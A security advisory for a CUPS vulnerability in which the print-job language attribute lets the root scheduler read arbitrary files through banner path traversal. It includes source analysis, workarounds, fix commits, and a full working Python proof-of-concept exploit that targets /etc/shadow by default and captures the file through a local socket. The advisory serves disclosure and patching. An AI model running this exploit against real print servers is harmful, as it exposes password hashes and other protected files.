Skip to content

GHSA-gq9p-4w7m-2f5g

CVE Information

Summary

CUPS accepts a print job whose operation-level attributes-natural-language contains path separators. During banner generation, the scheduler uses that language value as part of the banner lookup path:

DataDir/banners/<attributes-natural-language>/<job-sheets basename>

When a banner-capable local queue processes job-sheets=standard,none, the root scheduler can be made to copy bytes from a path selected through that language component. If the selected banner basename resolves to a root-readable file, the copied bytes enter the CUPS job-sheet path and can be consumed by a backend. This PoC demonstrates the issue with the stock CUPS socket backend.

Impact proposed by reporter

The demonstrated primitive is file-content disclosure from inside the CUPS victim environment. The scheduler performs the banner copy before the backend receives the job-sheet document, so the backend can receive bytes that an unprivileged CUPS child account cannot read directly.

This is not root code execution. It is a root-side file read primitive with these important preconditions:

The target path is inside the Docker victim, not the host.
The PoC creates the local CUPS queue itself.
The PoC creates the banner basename symlink precondition itself.
The PoC submits the print job itself.
This is not a full LAN discovery or end-to-end chain package.

Score evaluation by Mike Sweet, OpenPrinting

Rescored confidentiality as "low" since the "job-sheets" name is validated against the files in the banners directory, and sandboxing of cupsd normally limits access to arbitrary files on the system.

Affected component

Component:

CUPS scheduler banner handling, root-side copy_banner() path construction

Relevant inputs:

IPP Print-Job operation attribute: attributes-natural-language
IPP job attribute: job-sheets
CUPS DataDir banners path
CUPS TempDir path state

Test environment:

Ubuntu Docker image
apt-provided cups package
stock CUPS socket backend
isolated cupsd runroot

Root cause

The root cause is a parser-to-consumer mismatch in the scheduler banner path:

IPP parser accepts attributes-natural-language as job metadata
banner path construction later treats it as a filesystem path component
copy_banner() opens the resulting path as the root scheduler
the copied banner bytes are published as a job-sheet document
the backend consumes that job-sheet document

Expected invariant:

Language tags must not be able to select filesystem directories.
Banner lookup must not follow attacker-controlled path separators or symlinks
to root-readable files outside the intended banner directory.

Observed behavior:

attributes-natural-language=../../../tmp
job-sheets=standard,none
TempDir/standard -> <target path>
root scheduler copies the target bytes into the job-sheet path
stock socket backend receives the copied bytes

Source code evidence

Source snapshot used for analysis:

OpenPrinting/cups source tree

Relevant files:

src/cups/scheduler/ipp.c
src/cups/scheduler/job.c
src/cups/scheduler/banners.c
src/cups/backend/socket.c

The vulnerable consumer is copy_banner() in src/cups/scheduler/ipp.c. It is called for start and end job sheets:

// src/cups/scheduler/ipp.c:1775-1780
if (!(printer->type & CUPS_PTYPE_REMOTE))
{
  cupsdLogJob(job, CUPSD_LOG_INFO, "Adding start banner page \"%s\".",
              attr->values[0].string.text);

  if ((kbytes = copy_banner(con, job, attr->values[0].string.text)) < 0)
// src/cups/scheduler/ipp.c:665-675
if (printer && !(printer->type & CUPS_PTYPE_REMOTE) &&
    attr && attr->num_values > 1)
{
  cupsdLogJob(job, CUPSD_LOG_INFO, "Adding end banner page \"%s\".",
              attr->values[1].string.text);

  if ((kbytes = copy_banner(NULL, job, attr->values[1].string.text)) < 0)

copy_banner() looks up the banner basename first, creates a new job-sheet spool file, then builds a localized banner path using the natural-language value from the IPP request:

// src/cups/scheduler/ipp.c:4010-4023
if (!name || !strcmp(name, "none") ||
    (banner = cupsdFindBanner(name)) == NULL)
  return (0);

if (add_file(con, job, banner->filetype, 0))
  return (-1);

snprintf(filename, sizeof(filename), "%s/d%05d-%03d", RequestRoot, job->id,
         job->num_files);
if ((out = cupsFileOpen(filename, "w")) == NULL)

The path construction treats attrname as a directory name under DataDir/banners:

// src/cups/scheduler/ipp.c:4037-4051
cupsCopyString(attrname, job->attrs->attrs->next->values[0].string.text,
        sizeof(attrname));

snprintf(filename, sizeof(filename), "%s/banners/%s/%s", DataDir,
         attrname, name);

There is no rejection of /, .., or canonical path escape before the open:

// src/cups/scheduler/ipp.c:4075-4081
if ((in = cupsFileOpen(filename, "r")) == NULL)
{
  cupsFileClose(out);
  unlink(filename);
  cupsdLogClient(con, CUPSD_LOG_ERROR,
                 "Unable to open banner template file \"%s\": %s",
                 filename, strerror(errno));

That is the core issue: a field parsed as an IPP natural language tag is reused as a filesystem path segment by a root-side scheduler routine.

The basename gate comes from the banner registry. cupsdLoadBanners() only registers top-level banner filenames:

// src/cups/scheduler/banners.c:82-108
while ((dent = cupsDirRead(dir)) != NULL)
{
  snprintf(filename, sizeof(filename), "%s/%s", d, dent->filename);

  if (S_ISDIR(dent->fileinfo.st_mode))
    continue;

  add_banner(dent->filename, filename);
}

Then copy_banner() reuses that registered name after the attacker-controlled language subdirectory has been prepended. This is why the PoC uses the existing banner basename standard and places the selected target at the localized lookup path.

The scheduler marks the generated spool object as a job sheet:

// src/cups/scheduler/job.c:1055-1056
envp[envc ++] = banner_page ? "CUPS_FILETYPE=job-sheet" :
                              "CUPS_FILETYPE=document";

The stock socket backend then sends the spool file to the configured endpoint:

// src/cups/backend/socket.c:387-393
if (print_fd != 0)
{
  fputs("PAGE: 1 1\n", stderr);
  lseek(print_fd, 0, SEEK_SET);
}

if ((bytes = backendRunLoop(print_fd, device_fd, snmp_fd,
                            &(addrlist->addr), 1, 0,
                            backendNetworkSideCB)) < 0)

End-to-end data flow:

IPP attributes-natural-language
-> job->attrs operation attribute
-> copy_banner() attrname
-> DataDir/banners/<attrname>/<job-sheets basename>
-> root-side cupsFileOpen()
-> RequestRoot/dNNNNN-MMM job-sheet spool file
-> backend print_fd
-> socket backend network write

Reproducer

Files

Dockerfile

ARG BASE_IMAGE=ubuntu:latest
FROM ${BASE_IMAGE}

ENV DEBIAN_FRONTEND=noninteractive
ARG APT_MIRROR=

RUN if [ -n "$APT_MIRROR" ]; then \
        if [ -f /etc/apt/sources.list.d/ubuntu.sources ]; then \
            sed -i -E "s|https?://archive.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://security.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://ports.ubuntu.com/ubuntu-ports/?|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources; \
        fi; \
        if [ -f /etc/apt/sources.list ]; then \
            sed -i -E "s|https?://archive.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://security.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://ports.ubuntu.com/ubuntu-ports/?|$APT_MIRROR|g" /etc/apt/sources.list; \
        fi; \
    fi \
    && apt-get update \
    && apt-get install -y --no-install-recommends \
        cups \
        python3-minimal \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /poc
CMD ["/bin/bash"]

clean.sh

#!/usr/bin/env bash
set -euo pipefail

script_dir="$(cd "$(dirname "$0")" && pwd)"
cd "$script_dir"

image="${POC_IMAGE:-cups-gap-root-read-poc:ubuntu-latest}"

rm -rf work
docker image rm "$image" || true

echo "removed PoC image and run artifacts"

poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import os
import re
import shutil
import socket
import struct
import subprocess
import sys
import threading
import time
from pathlib import Path


HERE = Path(__file__).resolve().parent
IMAGE = "cups-gap-root-read-poc:ubuntu-latest"
QUEUE = "Root_File_Read_Printer"
DEFAULT_TARGET = "/etc/shadow"

TAG_OPERATION = 0x01
TAG_JOB = 0x02
TAG_END = 0x03
TAG_CHARSET = 0x47
TAG_NATURAL_LANGUAGE = 0x48
TAG_URI = 0x45
TAG_NAME = 0x42
TAG_MIME = 0x49


def log(message: str) -> None:
    print(f"[{time.strftime('%H:%M:%S')}] {message}", flush=True)


def read_text(path: Path) -> str:
    try:
        return path.read_text(errors="replace")
    except FileNotFoundError:
        return ""


def write_text(path: Path, text: str) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(text, encoding="utf-8")


def free_port() -> int:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return int(sock.getsockname()[1])


def wait_until(label: str, predicate, timeout: float) -> bool:
    deadline = time.time() + timeout
    while time.time() < deadline:
        if predicate():
            log(f"{label}: observed")
            return True
        time.sleep(0.2)
    log(f"{label}: timed out")
    return False


def can_connect(port: int) -> bool:
    try:
        with socket.create_connection(("127.0.0.1", port), timeout=0.2):
            return True
    except OSError:
        return False


def stop(proc: subprocess.Popen[str] | None) -> None:
    if proc is None or proc.poll() is not None:
        return
    proc.terminate()
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.kill()
        proc.wait(timeout=5)


class TcpSink:
    def __init__(self) -> None:
        self.port = free_port()
        self.data = bytearray()
        self.ready = threading.Event()
        self.done = threading.Event()
        self.thread = threading.Thread(target=self.serve, daemon=True)

    def start(self) -> None:
        self.thread.start()
        if not self.ready.wait(timeout=5):
            raise RuntimeError("TCP sink did not start")

    def wait(self, timeout: float = 25.0) -> bytes:
        self.done.wait(timeout)
        return bytes(self.data)

    def serve(self) -> None:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind(("127.0.0.1", self.port))
            srv.listen(8)
            srv.settimeout(1.0)
            self.ready.set()
            deadline = time.time() + 25.0
            while time.time() < deadline:
                try:
                    conn, _ = srv.accept()
                except socket.timeout:
                    if self.data:
                        break
                    continue
                with conn:
                    conn.settimeout(1.0)
                    while True:
                        try:
                            chunk = conn.recv(65536)
                        except socket.timeout:
                            break
                        if not chunk:
                            break
                        self.data.extend(chunk)
                        deadline = time.time() + 2.0
            self.done.set()


def cups_dir(kind: str, optional: bool = False) -> Path | None:
    for base in (Path("/usr/lib/cups"), Path("/usr/libexec/cups")):
        path = base / kind
        if path.exists():
            return path
    if optional:
        return None
    raise RuntimeError(f"missing system CUPS {kind} directory")


def backend_path(name: str) -> Path:
    for base in (Path("/usr/lib/cups/backend"), Path("/usr/libexec/cups/backend")):
        path = base / name
        if path.exists():
            return path
    raise RuntimeError(f"missing CUPS backend: {name}")


def root_identity_lines() -> list[str]:
    lines: list[str] = []
    if Path("/etc/passwd").read_text(errors="ignore").find("\nlp:") >= 0:
        lines.append("User lp")
    else:
        lines.append("User nobody")
    if Path("/etc/group").read_text(errors="ignore").find("\nlp:") >= 0:
        lines.append("Group lp")
    else:
        lines.append("Group nogroup")
    return lines


def make_runroot(runroot: Path, sink_port: int, target: str) -> int:
    if runroot.exists():
        shutil.rmtree(runroot)
    for rel in (
        "etc/cups/ppd",
        "cache/cups",
        "spool/cups",
        "run/certs",
        "tmp",
        "log",
        "share/cups/banners/en",
        "share/cups/mime",
        "serverbin/backend",
    ):
        (runroot / rel).mkdir(parents=True, exist_ok=True)

    filter_dir = cups_dir("filter", optional=True)
    (runroot / "serverbin/filter").symlink_to(filter_dir) if filter_dir else (runroot / "serverbin/filter").mkdir()
    (runroot / "serverbin/daemon").symlink_to(cups_dir("daemon"))
    shutil.copy2(backend_path("socket"), runroot / "serverbin/backend/socket")
    (runroot / "serverbin/backend/socket").chmod(0o755)

    mime_dir = Path("/usr/share/cups/mime")
    shutil.copy2(mime_dir / "mime.types", runroot / "share/cups/mime/mime.types")
    shutil.copy2(mime_dir / "mime.convs", runroot / "share/cups/mime/mime.convs")

    write_text(runroot / "share/cups/banners/standard", "%PDF-1.1\n% registered banner type\n%%EOF\n")
    write_text(runroot / "share/cups/banners/en/standard", "%PDF-1.1\n% negative localized banner\n%%EOF\n")
    os.symlink(target, runroot / "tmp/standard")
    write_ppd(runroot / "etc/cups/ppd" / f"{QUEUE}.ppd")

    port = free_port()
    cups_files = [
        f"ServerRoot {runroot / 'etc/cups'}",
        f"ServerBin {runroot / 'serverbin'}",
        f"StateDir {runroot / 'run'}",
        f"RequestRoot {runroot / 'spool/cups'}",
        f"CacheDir {runroot / 'cache/cups'}",
        f"DataDir {runroot / 'share/cups'}",
        f"TempDir {runroot / 'tmp'}",
        "LogFilePerm 0644",
        *root_identity_lines(),
        f"AccessLog {runroot / 'log/access_log'}",
        f"ErrorLog {runroot / 'log/error_log'}",
        f"PageLog {runroot / 'log/page_log'}",
        "",
    ]
    write_text(runroot / "etc/cups/cups-files.conf", "\n".join(cups_files))
    write_text(
        runroot / "etc/cups/cupsd.conf",
        "\n".join(
            [
                "ServerName localhost",
                f"Listen 127.0.0.1:{port}",
                "Browsing Off",
                "WebInterface No",
                "LogLevel debug2",
                "AccessLogLevel all",
                "<Location />",
                "  Order allow,deny",
                "  Allow all",
                "</Location>",
                "<Policy default>",
                "  <Limit All>",
                "    Order allow,deny",
                "    Allow all",
                "  </Limit>",
                "</Policy>",
                "",
            ]
        ),
    )
    write_text(
        runroot / "etc/cups/printers.conf",
        "\n".join(
            [
                "NextPrinterId 2",
                f"<Printer {QUEUE}>",
                "PrinterId 1",
                "UUID urn:uuid:00000000-0000-4000-8000-000000000001",
                "AuthInfoRequired none",
                "Info Root File Read Printer",
                "Location lab",
                "MakeModel Root File Read Printer",
                f"DeviceURI socket://127.0.0.1:{sink_port}",
                "State Idle",
                f"StateTime {int(time.time())}",
                f"ConfigTime {int(time.time())}",
                "Type 4",
                "Accepting Yes",
                "Shared Yes",
                "JobSheets none none",
                "OpPolicy default",
                "ErrorPolicy abort-job",
                "</Printer>",
                "",
            ]
        ),
    )
    return port


def write_ppd(path: Path) -> None:
    write_text(
        path,
        "\n".join(
            [
                '*PPD-Adobe: "4.3"',
                '*FormatVersion: "4.3"',
                '*FileVersion: "1.0"',
                "*LanguageVersion: English",
                '*Manufacturer: "PoC"',
                '*ModelName: "Root File Read Printer"',
                '*NickName: "Root File Read Printer"',
                "*ColorDevice: True",
                "*cupsVersion: 2.4",
                '*cupsLanguages: "en"',
                "*cupsSingleFile: True",
                '*cupsFilter2: "application/pdf application/pdf 0 -"',
                "*OpenUI *PageSize/Media Size: PickOne",
                "*DefaultPageSize: A4",
                '*PageSize A4/A4: "<</PageSize[595 842]>>setpagedevice"',
                "*CloseUI: *PageSize",
                "",
            ]
        ),
    )


def tiny_pdf() -> bytes:
    return b"%PDF-1.1\n1 0 obj <<>> endobj\ntrailer << /Root 1 0 R >>\n%%EOF\n"


def ipp_attr(tag: int, name: str, value: str | bytes) -> bytes:
    name_b = name.encode()
    value_b = value.encode() if isinstance(value, str) else value
    return bytes([tag]) + struct.pack(">H", len(name_b)) + name_b + struct.pack(">H", len(value_b)) + value_b


def submit_print_job(port: int, language: str) -> bool:
    body = bytearray()
    body += b"\x02\x00" + struct.pack(">H", 2) + struct.pack(">I", 1)
    body += bytes([TAG_OPERATION])
    body += ipp_attr(TAG_CHARSET, "attributes-charset", "utf-8")
    body += ipp_attr(TAG_NATURAL_LANGUAGE, "attributes-natural-language", language)
    body += ipp_attr(TAG_URI, "printer-uri", f"ipp://127.0.0.1:{port}/printers/{QUEUE}")
    body += ipp_attr(TAG_NAME, "requesting-user-name", "poc")
    body += ipp_attr(TAG_NAME, "job-name", "root-file-read")
    body += ipp_attr(TAG_MIME, "document-format", "application/pdf")
    body += bytes([TAG_JOB])
    body += ipp_attr(TAG_NAME, "job-sheets", "standard")
    body += ipp_attr(TAG_NAME, "", "none")
    body += bytes([TAG_END]) + tiny_pdf()
    request = (
        f"POST /printers/{QUEUE} HTTP/1.1\r\n"
        f"Host: 127.0.0.1:{port}\r\n"
        f"Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\nConnection: close\r\n\r\n"
    ).encode() + body
    with socket.create_connection(("127.0.0.1", port), timeout=12) as conn:
        conn.settimeout(60)
        conn.sendall(request)
        response = bytearray()
        while chunk := conn.recv(65536):
            response += chunk
    ok = b" 200 " in response[:64] and b"\x02\x00\x00\x00" in response
    log(f"print job: {'accepted' if ok else 'not accepted'}")
    return ok


def start_cupsd(runroot: Path) -> tuple[subprocess.Popen[str], int]:
    conf = runroot / "etc/cups/cupsd.conf"
    files = runroot / "etc/cups/cups-files.conf"
    cupsd = shutil.which("cupsd") or "/usr/sbin/cupsd"
    test = subprocess.run([cupsd, "-t", "-c", str(conf), "-s", str(files)], cwd=HERE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, check=False)
    if test.returncode != 0:
        raise RuntimeError(test.stdout)
    out = (runroot / "cupsd.log").open("w", encoding="utf-8")
    proc = subprocess.Popen([cupsd, "-f", "-c", str(conf), "-s", str(files)], cwd=HERE, stdout=out, stderr=subprocess.STDOUT, text=True)
    port = int(next(line.rsplit(":", 1)[1] for line in read_text(conf).splitlines() if line.startswith("Listen 127.0.0.1:")))
    if not wait_until("cupsd listen", lambda: can_connect(port), 15):
        stop(proc)
        raise RuntimeError("cupsd did not listen")
    return proc, port


def direct_read_check(target: str) -> str:
    code = (
        "import os,pwd,sys\n"
        "target=sys.argv[1]\n"
        "u=pwd.getpwnam('lp') if 'lp' in [p.pw_name for p in pwd.getpwall()] else pwd.getpwnam('nobody')\n"
        "os.setgid(u.pw_gid); os.setuid(u.pw_uid)\n"
        "try:\n"
        "    open(target,'rb').read(1); print('direct_read_ok')\n"
        "except OSError as e:\n"
        "    print(f'direct_read_denied errno={e.errno} error={e.strerror}')\n"
    )
    proc = subprocess.run([sys.executable, "-c", code, target], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, check=False)
    return proc.stdout.strip()


def show_capture(data: bytes, target: str) -> None:
    text = data.decode("utf-8", "replace")
    print("\n=== captured bytes ===")
    print(f"target: {target}")
    print(f"bytes: {len(data)}")
    print("--- begin ---")
    print(text[:4000], end="" if text.endswith("\n") else "\n")
    print("--- end ---")


def victim(args: argparse.Namespace) -> int:
    target = args.target
    runroot = args.runroot if args.runroot.is_absolute() else HERE / args.runroot
    sink = TcpSink()
    proc = None
    try:
        sink.start()
        log(f"target: {target}")
        log(direct_read_check(target))
        port = make_runroot(runroot, sink.port, target)
        proc, cupsd_port = start_cupsd(runroot)
        if not submit_print_job(cupsd_port, "../../../tmp"):
            return 1
        data = sink.wait()
        show_capture(data, target)
        return 0 if data else 1
    finally:
        stop(proc)


def build_image(args: argparse.Namespace) -> str:
    log(f"building image {args.image}" + (" with --pull" if args.pull_base else ""))
    cmd = [
        "docker",
        "build",
        "-t",
        args.image,
        "--build-arg",
        f"BASE_IMAGE={args.base_image}",
        "--build-arg",
        f"APT_MIRROR={args.apt_mirror}",
    ]
    if args.pull_base:
        cmd.append("--pull")
    cmd.append(str(HERE))
    run_as = os.environ.get("SUDO_USER") if os.geteuid() == 0 else ""
    if run_as and run_as != "root":
        cmd = ["sudo", "-u", run_as, *cmd]
    subprocess.run(cmd, cwd=HERE, check=True)
    return args.image


def host(args: argparse.Namespace) -> int:
    if os.geteuid() != 0:
        raise SystemExit("run with sudo")
    image = args.image if args.skip_build or os.environ.get("POC_SKIP_BUILD") else build_image(args)
    runroot = Path("work") / f"run-{args.run_id or time.strftime('%Y%m%d-%H%M%S')}" / "victim"
    cmd = [
        "docker",
        "run",
        "--rm",
        "--privileged",
        "--network",
        "host",
        "-v",
        f"{HERE}:/poc",
        "-w",
        "/poc",
        image,
        "python3",
        "/poc/poc.py",
        "--victim",
        "--runroot",
        str(runroot),
        "--target",
        args.target,
    ]
    try:
        return subprocess.run(cmd, cwd=HERE, check=False).returncode
    finally:
        if uid := os.environ.get("SUDO_UID"):
            subprocess.run(["chown", "-R", f"{uid}:{os.environ.get('SUDO_GID', uid)}", str(HERE / "work")], check=False)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--victim", action="store_true")
    parser.add_argument("--target", default=os.environ.get("POC_TARGET", DEFAULT_TARGET))
    parser.add_argument("--runroot", type=Path)
    parser.add_argument("--image", default=os.environ.get("POC_IMAGE", IMAGE))
    parser.add_argument("--base-image", default=os.environ.get("POC_BASE_IMAGE", "ubuntu:latest"))
    parser.add_argument("--apt-mirror", default=os.environ.get("POC_APT_MIRROR", ""))
    parser.add_argument("--run-id")
    parser.add_argument("--skip-build", action="store_true")
    parser.add_argument("--pull-base", action="store_true")
    args = parser.parse_args()
    if args.victim:
        if args.runroot is None:
            parser.error("--victim requires --runroot")
        return victim(args)
    return host(args)


if __name__ == "__main__":
    raise SystemExit(main())

Build and run with the default target:

sudo python3 ./poc.py

Read a specific victim-side file:

sudo python3 ./poc.py --target /etc/shadow

Expected successful output includes:

direct_read_denied ...
print job: accepted
=== captured bytes ===
target: <target path>
bytes: <non-zero>
--- begin ---
<plaintext content from the selected target>
--- end ---

Clean artifacts:

sudo ./clean.sh

PoC flow

selected target path
-> TempDir/standard symlink
-> attributes-natural-language directory traversal
-> root-side copy_banner()
-> CUPS job-sheet spool document
-> stock socket backend
-> local TCP sink prints captured bytes

Workarounds

Possible defensive workarounds until a code fix is available:

Disable banner/job-sheets use where not required.
Restrict local queue submission policy to trusted users only.
Avoid exposing cupsd Print-Job access beyond local trusted clients.
Ensure CUPS TempDir is not writable in a way that can satisfy banner basename
preconditions.

Fix

[master 665042823] Validate attributes-natural-language, and normalize the logging punctuation.

[2.4.x 08a8a277c] Validate attributes-natural-language, and normalize the logging punctuation.